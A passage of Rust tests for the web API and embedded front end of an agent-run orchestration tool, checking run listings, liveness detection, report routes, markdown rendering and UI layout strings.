12104 assert_eq!(detail.json()["base_branch"], "main");
12105 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12106 }
12107
12108 #[tokio::test]
12116 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12117 let f = Fixture::start().await;
12118
12119 let mut none_run = RunState::new(
12120 PathBuf::from("/repo/magi"),
12121 "main".to_owned(),
12122 "0123456789abcdef".to_owned(),
12123 "Add a web UI".to_owned(),
12124 Config::default(),
12125 );
12126 none_run.id = "20260902-140503-none".to_owned();
12127 none_run.status = RunStatus::Ready;
12128 none_run.merge = Some(crate::run::MergeOutcome {
12129 mode: crate::config::MergeMode::None,
12130 ok: true,
12131 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12132 empty: false,
12133 });
12134 write_state(&f.runs(), &none_run);
12135
12136 let mut pr_run = RunState::new(
12137 PathBuf::from("/repo/magi"),
12138 "main".to_owned(),
12139 "0123456789abcdef".to_owned(),
12140 "Add a web UI".to_owned(),
12141 Config::default(),
12142 );
12143 pr_run.id = "20260902-140504-prcl".to_owned();
12144 pr_run.status = RunStatus::Ready;
12145 pr_run.merge = Some(crate::run::MergeOutcome {
12146 mode: crate::config::MergeMode::Pr,
12147 ok: false,
12148 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12149 empty: false,
12150 });
12151 write_state(&f.runs(), &pr_run);
12152
12153 let summary = f.get("/api/runs").await.json();
12154 let rows: std::collections::HashMap<&str, &Value> = summary
12155 .as_array()
12156 .expect("an array")
12157 .iter()
12158 .map(|r| (r["id"].as_str().expect("an id"), r))
12159 .collect();
12160 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12161 assert_eq!(
12162 rows[none_run.id.as_str()]["unmerged_by_design"],
12163 true,
12164 "a mode-none Ready must be flagged in the list"
12165 );
12166 assert_eq!(
12167 rows[pr_run.id.as_str()]["unmerged_by_design"],
12168 false,
12169 "a Ready reached by a closed pull request is a different case"
12170 );
12171
12172 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12173 assert_eq!(none_detail["status"], "ready");
12174 assert_eq!(none_detail["unmerged_by_design"], true);
12175
12176 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12177 assert_eq!(pr_detail["unmerged_by_design"], false);
12178 }
12179
12180 #[tokio::test]
12185 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12186 let f = Fixture::start().await;
12187 let id = "20260902-140502-bbbb";
12191 let mut state = RunState::new(
12192 PathBuf::from("/repo/magi"),
12193 "main".to_owned(),
12194 "0123456789abcdef".to_owned(),
12195 "Add a web UI".to_owned(),
12196 Config::default(),
12197 );
12198 state.id = id.to_owned();
12199 state.status = RunStatus::Judging;
12200 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12201 let dir = f.runs().join(id);
12202 std::fs::create_dir_all(&dir).expect("run dir");
12203 std::fs::write(
12204 dir.join("run.json"),
12205 serde_json::to_string_pretty(&state).expect("serialize run"),
12206 )
12207 .expect("write run.json");
12208
12209 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12215 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12216 assert_eq!(cold["live"], "unknown", "{cold}");
12217
12218 write_daemon(f.home.path(), Timestamp::now());
12221 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12222 assert_eq!(warm["live"], "live", "{warm}");
12223 }
12224
12225 #[tokio::test]
12228 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12229 let f = Fixture::start().await;
12230 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12231 let mut state = RunState::new(
12232 PathBuf::from("/repo/magi"),
12233 "main".to_owned(),
12234 "0123456789abcdef".to_owned(),
12235 "Add a web UI".to_owned(),
12236 Config::default(),
12237 );
12238 state.id = id.to_owned();
12239 state.origin = origin;
12240 let mut value = serde_json::to_value(&state).expect("serialize run");
12241 if let Some(schema) = schema {
12242 value["schema"] = serde_json::json!(schema);
12243 value.as_object_mut().unwrap().remove("origin");
12244 }
12245 let dir = f.runs().join(id);
12246 std::fs::create_dir_all(&dir).expect("run dir");
12247 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12248 };
12249 write(
12250 "20260930-092817-ec34",
12251 Some(crate::run::Origin::from_agent_env(
12252 Some(("4a7b".to_owned(), "chat".to_owned())),
12253 None,
12254 )),
12255 None,
12256 );
12257 write("20260930-092817-0ld1", None, Some(12));
12258
12259 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12260 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12261 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12262
12263 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12264 assert_eq!(
12265 old["origin_label"], "origin unknown (started before origins were recorded)",
12266 "{old}"
12267 );
12268 assert!(old["origin"].is_null(), "{old}");
12269
12270 let list = f.get("/api/runs").await.json();
12271 let labels: Vec<_> = list
12272 .as_array()
12273 .unwrap()
12274 .iter()
12275 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12276 .collect();
12277 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12278 }
12279
12280 #[tokio::test]
12287 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12288 let f = Fixture::start().await;
12289 let id = "20260922-090000-cccc";
12290 let mut state = RunState::new(
12291 PathBuf::from("/repo/magi"),
12292 "main".to_owned(),
12293 "0123456789abcdef".to_owned(),
12294 "Review only".to_owned(),
12295 Config::default(),
12296 );
12297 state.id = id.to_owned();
12298 state.status = RunStatus::Reviewing;
12299 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12300 state.driver_pid = Some(std::process::id());
12306 state.driver_started_at = Some(
12307 crate::proc::process_started_at(std::process::id())
12308 .expect("this test process's own start time must be queryable"),
12309 );
12310 let dir = f.runs().join(id);
12311 std::fs::create_dir_all(&dir).expect("run dir");
12312 std::fs::write(
12313 dir.join("run.json"),
12314 serde_json::to_string_pretty(&state).expect("serialize run"),
12315 )
12316 .expect("write run.json");
12317
12318 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12319 assert_eq!(detail["live"], "live", "{detail}");
12320 }
12321
12322 #[tokio::test]
12328 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12329 let f = Fixture::start().await;
12330 let id = "20260922-090100-dddd";
12331 let mut state = RunState::new(
12332 PathBuf::from("/repo/magi"),
12333 "main".to_owned(),
12334 "0123456789abcdef".to_owned(),
12335 "Review only".to_owned(),
12336 Config::default(),
12337 );
12338 state.id = id.to_owned();
12339 state.status = RunStatus::Reviewing;
12340 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12341 state.driver_pid = Some(std::process::id());
12346 state.driver_started_at = Some("1".to_owned());
12347 let dir = f.runs().join(id);
12348 std::fs::create_dir_all(&dir).expect("run dir");
12349 std::fs::write(
12350 dir.join("run.json"),
12351 serde_json::to_string_pretty(&state).expect("serialize run"),
12352 )
12353 .expect("write run.json");
12354
12355 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12356 assert_eq!(detail["live"], "dead", "{detail}");
12357 }
12358
12359 #[test]
12363 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12364 let mk = |id: &str, pid: Option<u32>| {
12365 let mut s = RunState::new(
12366 PathBuf::from("/repo/magi"),
12367 "main".to_owned(),
12368 "0123456789abcdef".to_owned(),
12369 "Add a web UI".to_owned(),
12370 Config::default(),
12371 );
12372 s.id = id.to_owned();
12373 s.driver_pid = pid;
12374 s.driver_started_at = Some("1790000000".to_owned());
12375 s
12376 };
12377 let states = vec![
12378 mk("20260902-140502-aaaa", Some(77)),
12379 mk("20260902-140502-bbbb", Some(77)),
12380 mk("20260902-140502-cccc", Some(77)),
12381 mk("20260902-140502-dddd", None),
12382 ];
12383 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12384 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12385 let sup: HashMap<String, String> = [(
12386 "20260902-140502-aaaa".to_owned(),
12387 "20260902-140502-cccc".to_owned(),
12388 )]
12389 .into();
12390
12391 let status_calls = std::cell::Cell::new(0);
12392 let identity_calls = std::cell::Cell::new(0);
12393 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12394 |_| {
12395 status_calls.set(status_calls.get() + 1);
12396 Some(true)
12397 },
12398 |_| {
12399 identity_calls.set(identity_calls.get() + 1);
12400 Some("1790000000".to_owned())
12401 },
12402 ));
12403 let rows = summarize(
12404 states,
12405 &open,
12406 &claimed,
12407 &sup,
12408 |p| probe.borrow_mut().status(p),
12409 |p| probe.borrow_mut().started_at(p),
12410 );
12411
12412 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12413 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12414 assert_eq!(rows.len(), 4);
12415 assert!(!rows[0].waiting && rows[1].waiting);
12416 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12417 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12418 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12419 assert_eq!(rows[1].superseded_by, None);
12420 }
12421
12422 #[test]
12423 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12424 let mut state = RunState::new(
12425 PathBuf::from("/repo/magi"),
12426 "main".to_owned(),
12427 "0123456789abcdef".to_owned(),
12428 "Review only".to_owned(),
12429 Config::default(),
12430 );
12431 state.id = "20260922-090200-dead".to_owned();
12432 state.status = RunStatus::Reviewing;
12433 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12434 .expect("serialize list row");
12435 assert_eq!(row["status"], "reviewing");
12436 assert_eq!(row["live"], "dead", "{row}");
12437 assert!(!row["done"].as_bool().unwrap());
12438 }
12439
12440 #[tokio::test]
12441 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12442 let f = Fixture::start().await;
12443 for id in [
12444 "20260902-140501-aaaa",
12445 "20260902-140502-bbbb",
12446 "20260902-140503-cccc",
12447 ] {
12448 write_run(&f.runs(), id, RunStatus::Merged);
12449 }
12450
12451 let all = f.get("/api/runs").await.json();
12452 let capped = f.get("/api/runs?limit=2").await.json();
12453
12454 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12455 assert_eq!(all.as_array().map(Vec::len), Some(3));
12456 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12457 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12458 }
12459
12460 #[tokio::test]
12461 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12462 let f = Fixture::start().await;
12463 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12464
12465 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12466
12467 assert_eq!(res.status, 200);
12468 assert!(
12469 res.headers
12470 .contains("content-type: text/plain; charset=utf-8"),
12471 "a browser must render it, not download it: {}",
12472 res.headers
12473 );
12474 assert!(
12478 res.body.contains("20260902-140501-a1b2"),
12479 "the report is about the run that was asked for: {}",
12480 res.body
12481 );
12482 }
12483
12484 #[tokio::test]
12485 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12486 crate::run::pin_test_home();
12488 let f = Fixture::start().await;
12489 let id = "20260902-140501-a1b2";
12490 write_run(&f.runs(), id, RunStatus::Stalled);
12491 let path = f.runs().join(id).join("run.json");
12494 let mut v: serde_json::Value =
12495 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12496 v["tally"] = serde_json::json!({
12497 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12498 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12499 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12500 "met_quorum": false, "rankings": 1
12501 });
12502 v["reviews"] = serde_json::json!([{
12503 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12504 "e2e_deferred": true,
12505 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12506 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12507 ]}]
12508 }]);
12509 std::fs::write(&path, v.to_string()).unwrap();
12510 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12511 std::fs::write(
12512 f.runs().join("20260902-140502-dead").join("run.json"),
12513 "{not json",
12514 )
12515 .unwrap();
12516
12517 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12518
12519 assert_eq!(res.status, 200, "{}", res.body);
12520 assert!(res.headers.contains("content-type: application/json"));
12521 let j = res.json();
12522 assert_eq!(j["schema"], 1);
12523 assert_eq!(j["header"]["id"], id);
12524 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12525 let kinds: Vec<&str> = j["sections"]
12526 .as_array()
12527 .unwrap()
12528 .iter()
12529 .map(|s| s["kind"].as_str().unwrap())
12530 .collect();
12531 assert_eq!(kinds, ["candidates", "tally", "review"]);
12532 let tally = &j["sections"][1]["tally"];
12533 assert_eq!(
12534 (tally["decided"].clone(), tally["provisional"].clone()),
12535 (false.into(), true.into())
12536 );
12537 let round = &j["sections"][2]["rounds"][0];
12538 assert_eq!(round["e2e"]["state"], "deferred");
12539 assert_eq!(round["findings"][0]["severity"], "major");
12540 assert_eq!(round["findings"][0]["blocking"], true);
12541 assert_eq!(round["findings"][0]["state"], "open");
12542
12543 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12545
12546 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12548 assert_ne!(bad.status, 200, "{}", bad.body);
12549 assert_eq!(
12550 bad.status,
12551 f.get("/api/runs/20260902-140502-dead/report").await.status
12552 );
12553 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12554 assert_eq!(
12555 f.get("/api/runs/20260902-999999-ffff/report.json")
12556 .await
12557 .status,
12558 404
12559 );
12560 }
12561
12562 #[tokio::test]
12563 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12564 let f = Fixture::start().await;
12565
12566 let html = f.get("/").await;
12567 let css = f.get("/app.css").await;
12568 let js = f.get("/app.js").await;
12569
12570 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12571 assert!(
12572 html.headers
12573 .contains("content-type: text/html; charset=utf-8")
12574 );
12575 assert!(css.headers.contains("content-type: text/css"));
12576 assert!(js.headers.contains("content-type: text/javascript"));
12577 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12578 }
12579
12580 #[test]
12581 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12582 let body = |name: &str| {
12583 let at = APP_JS
12584 .find(name)
12585 .unwrap_or_else(|| panic!("{name} missing"));
12586 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12587 };
12588 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12589 let note = body("function landRoundNote");
12590 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12591 assert!(note.contains("Land round ${round}"));
12592 let land = body("function renderLand");
12593 let note_at = land
12594 .find("landRoundNote(pr)")
12595 .expect("renderLand uses the note");
12596 assert!(
12597 note_at
12598 < land
12599 .find("roundRail(pr)")
12600 .expect("renderLand uses the rail")
12601 );
12602 }
12603
12604 #[test]
12605 fn the_runs_page_redesign_keeps_its_guards() {
12606 let body = |name: &str| {
12607 let at = APP_JS
12608 .find(name)
12609 .unwrap_or_else(|| panic!("{name} missing"));
12610 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12611 };
12612 let land = body("function renderLand");
12614 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12615 assert!(
12616 !land.contains("box.append("),
12617 "renderLand must use append()"
12618 );
12619 assert!(land.contains("append(box, ["));
12620 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12622 assert!(
12623 body("function applyRoute")
12624 .contains("route.name !== state.route.name || route.id !== state.route.id")
12625 );
12626 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12628 assert!(!INDEX_HTML.contains("advise-converge"));
12629 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12630 assert!(APP_JS.contains("provisional"));
12631 for id in [
12632 "run-tab-overview",
12633 "run-tab-timeline",
12634 "run-tab-report",
12635 "run-report",
12636 "runs-scope",
12637 ] {
12638 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12639 }
12640 assert!(!INDEX_HTML.contains("runs-tree"));
12641 assert!(!INDEX_HTML.contains("run-raw-panel"));
12642 assert!(APP_JS.contains("resume"));
12644 assert!(APP_JS.contains("unreadable"));
12646 }
12647
12648 #[test]
12649 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12650 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12651 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12652 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12653 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12654 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12655 assert!(APP_JS.contains("unreadable` : null"));
12657 }
12658
12659 #[test]
12660 fn the_run_detail_payload_says_whether_the_run_is_done() {
12661 for (status, done) in [
12663 (RunStatus::Superseded, true),
12664 (RunStatus::Blocked, true),
12665 (RunStatus::Landing, false),
12666 ] {
12667 let mut state = RunState::new(
12668 std::path::PathBuf::from("/repo"),
12669 "main".to_owned(),
12670 "abc".to_owned(),
12671 "x".to_owned(),
12672 crate::config::Config::default(),
12673 );
12674 state.status = status;
12675 let v = serde_json::to_value(RunDetailView::of(
12676 state,
12677 crate::run::Liveness::Unknown,
12678 None,
12679 None,
12680 None,
12681 ))
12682 .unwrap();
12683 assert_eq!(v["done"], done, "{status:?}");
12684 }
12685 }
12686
12687 fn has_strong(nodes: &[md::Node]) -> bool {
12689 serde_json::to_string(nodes).unwrap().contains("strong")
12690 }
12691
12692 #[test]
12693 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12694 let mut state = RunState::new(
12695 std::path::PathBuf::from("/repo"),
12696 "main".to_owned(),
12697 "abc".to_owned(),
12698 "x".to_owned(),
12699 crate::config::Config::default(),
12700 );
12701 let proposal = |approach: &str| {
12702 serde_json::json!({
12703 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12704 })
12705 };
12706 state.advice = Some(
12707 serde_json::from_value(serde_json::json!({
12708 "records": [
12709 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12710 "proposal": proposal("do **this**")},
12711 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12712 ],
12713 "synthesis": "- one\n- **two**\n\n`code`",
12714 }))
12715 .unwrap(),
12716 );
12717 state.candidates = serde_json::from_value(serde_json::json!([
12718 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12719 "summary": "did **it**"},
12720 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12721 ]))
12722 .unwrap();
12723 state.reviews = serde_json::from_value(serde_json::json!([{
12726 "round": 1, "head": "h",
12727 "reviews": [{
12728 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12729 "findings": [
12730 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12731 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12732 ],
12733 }],
12734 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12735 "fix": {"agent": "a", "notes": "fixed **it**",
12736 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12737 }, {"round": 2, "head": "h2", "reviews": []}]))
12738 .unwrap();
12739
12740 let v = serde_json::to_value(RunDetailView::of(
12741 state,
12742 crate::run::Liveness::Unknown,
12743 None,
12744 None,
12745 None,
12746 ))
12747 .unwrap();
12748
12749 let strong = |p: &str| {
12750 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12751 assert!(n.to_string().contains("strong"), "{p}: {n}");
12752 };
12753 strong("/advice_md/synthesis");
12754 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12755 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12756 strong("/advice_md/approaches/0");
12757 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12758 strong("/candidate_summaries_md/0");
12759 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12760 strong("/reviews_md/0/reviewers/0/summary");
12761 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12762 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12763 assert!(f[1].to_string().contains("strong"));
12764 strong("/reviews_md/0/reconsideration/0");
12765 strong("/reviews_md/0/fix/notes");
12766 strong("/reviews_md/0/fix/rejected/0");
12767 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12768 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12769 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12771 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12772 }
12773
12774 #[test]
12775 fn a_run_without_advice_has_no_advice_md() {
12776 let state = RunState::new(
12777 std::path::PathBuf::from("/repo"),
12778 "main".to_owned(),
12779 "abc".to_owned(),
12780 "x".to_owned(),
12781 crate::config::Config::default(),
12782 );
12783 let p = run_prose_md(&state);
12784 assert!(p.advice_md.is_none());
12785 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12786 }
12787
12788 #[test]
12789 fn a_question_view_carries_markdown_for_each_thread_turn() {
12790 let home = TempDir::new().unwrap();
12791 let store = ask::Questions::at(home.path().join("questions"));
12792 let mut q = Question::new(
12793 "run".to_owned(),
12794 "implement".to_owned(),
12795 "impl-A".to_owned(),
12796 "which?".to_owned(),
12797 String::new(),
12798 Vec::new(),
12799 );
12800 q.say("plain words").unwrap();
12801 q.reply("use **this**", Vec::new()).unwrap();
12802 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12803 let bodies = &v["thread_bodies_md"];
12804 assert_eq!(bodies.as_array().unwrap().len(), 2);
12805 assert!(!bodies[0].to_string().contains("strong"));
12806 assert!(bodies[1].to_string().contains("strong"));
12807 }
12808
12809 #[test]
12810 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12811 let home = TempDir::new().unwrap();
12812 let store = ask::Questions::at(home.path().join("questions"));
12813 let mut q = Question::new(
12814 "run".to_owned(),
12815 "conduct".to_owned(),
12816 "conduct".to_owned(),
12817 "which?".to_owned(),
12818 String::new(),
12819 Vec::new(),
12820 );
12821 q.say("plain words").unwrap();
12822 q.thread.push(ask::Turn {
12823 who: ask::Who::Agent,
12824 body: "Settled as `merge`".to_owned(),
12825 at: jiff::Timestamp::now(),
12826 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12827 });
12828 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12829 let notes = &v["thread_notes_md"];
12830 assert_eq!(notes.as_array().unwrap().len(), 2);
12831 assert!(notes[0].is_null());
12832 let text = notes[1].to_string();
12833 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12834 assert!(APP_JS.contains("ask-turn-note"));
12835 }
12836
12837 #[test]
12838 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12839 assert!(APP_JS.contains("function landView(run, raw) {"));
12843 assert!(
12844 APP_JS.contains(
12845 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12846 )
12847 );
12848 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12849 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12850 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12851 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12852 }
12853
12854 #[test]
12855 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12856 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12857 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12858 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12859 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12860 }
12861
12862 #[test]
12863 fn review_rounds_label_a_distinct_verified_head() {
12864 assert!(APP_JS.contains("round.verified_head"));
12865 assert!(APP_JS.contains("verified HEAD"));
12866 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12867 }
12868
12869 #[test]
12870 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12871 assert!(APP_JS.contains("blocked: { glyph:"));
12875 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12876
12877 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12881 assert!(
12882 APP_JS.contains(
12883 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12884 ),
12885 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12886 );
12887 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12891
12892 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12896 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12897 assert!(
12898 APP_JS.contains("location.hash = \"#/questions\";"),
12899 "a question node must jump to the Questions screen, not pretend to be a task"
12900 );
12901
12902 assert!(APP_JS.contains("Resolved questions"));
12905 assert!(APP_JS.contains("r.answersList.append("));
12906 assert!(APP_CSS.contains(".task-answers"));
12907 {
12908 let start = APP_JS
12909 .find("function updateTalkTaskRow")
12910 .expect("updateTalkTaskRow");
12911 let body = &APP_JS[start..];
12912 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12913 assert!(
12914 body.contains(
12915 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12916 ),
12917 "a chat-filed task row must link to the task page"
12918 );
12919 assert!(
12920 !body.contains("#/runs/") && !body.contains("#/queue/"),
12921 "the row must not branch to a run or the queue card"
12922 );
12923 assert!(APP_CSS.contains(".talk-task-link"));
12924 }
12925 }
12926
12927 #[test]
12928 fn a_task_notification_links_to_the_task_page() {
12929 let start = APP_JS
12931 .find("function noticeLink(")
12932 .expect("noticeLink exists");
12933 let body = &APP_JS[start..];
12934 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12935 assert!(
12936 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12937 "a task notice's link must target the task page"
12938 );
12939 assert!(
12940 !body.contains("#/queue/"),
12941 "regression: the task link must not go back to the Backlog route"
12942 );
12943 assert!(
12944 APP_JS.contains(
12945 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12946 ),
12947 "`#/tasks/<id>` must parse into the task route"
12948 );
12949
12950 assert!(
12952 APP_JS.contains(
12953 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12954 ),
12955 "`#/queue/<id>` must parse into a route carrying that id"
12956 );
12957
12958 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12962 assert!(APP_JS.contains("function consumeQueueFocus()"));
12963 assert!(APP_JS.contains("jumpToTask(id)"));
12964 }
12965
12966 #[test]
12969 fn chat_rows_put_the_title_alone_on_the_first_line() {
12970 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12971 assert!(APP_CSS.contains(
12972 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12973 ));
12974 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12975 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12976 }
12977
12978 #[test]
12979 fn run_rows_put_the_title_alone_on_the_first_line() {
12980 assert!(
12981 APP_CSS.contains(
12982 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12983 )
12984 );
12985 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12986 assert!(APP_JS.contains("class: \"card run-card\""));
12987 assert!(APP_JS.contains("class: \"repo run-id\""));
12988 }
12989
12990 #[test]
12994 fn wide_screens_show_list_and_preview_side_by_side() {
12995 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12997 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12998 assert!(APP_CSS.contains("main[data-split]"));
12999 assert!(APP_CSS.contains("body[data-split]"));
13000
13001 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13003 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
13004 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13005 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13006 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13007
13008 assert!(APP_JS.contains("function markSelected() {"));
13010 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13011 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13012 assert!(
13014 APP_CSS.contains(
13015 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13016 )
13017 );
13018
13019 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13021 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13022 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13023 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13024
